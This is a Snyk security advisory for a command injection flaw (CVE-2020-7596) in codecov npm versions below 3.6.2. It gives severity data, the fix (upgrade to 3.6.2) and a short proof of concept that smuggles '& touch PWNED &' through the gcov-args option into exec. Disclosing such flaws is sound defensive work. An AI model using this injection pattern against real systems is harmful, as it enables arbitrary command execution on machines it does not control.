Command Injection Affecting codecov package, versions <3.6.2


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.63% (80th percentile)

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  • Snyk IDSNYK-JS-CODECOV-543183
  • published24 Jan 2020
  • disclosed8 Jan 2020
  • creditJHU System Security Lab

Introduced: 8 Jan 2020

CVE-2020-7596  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade codecov to version 3.6.2 or higher.

Overview

codecov is a npm package for uploading reports to Codecov.

Affected versions of this package are vulnerable to Command Injection. The value provided as part of the gcov-args argument is executed by the exec function within lib/codecov.js.

PoC by JHU System Security Lab

var root = require("codecov");
var args = {
  "options": {
    'gcov-args': "& touch PWNED &"
  }
}
root.handleInput.upload(args, function(){}, function(){});

References

CVSS Scores

version 3.1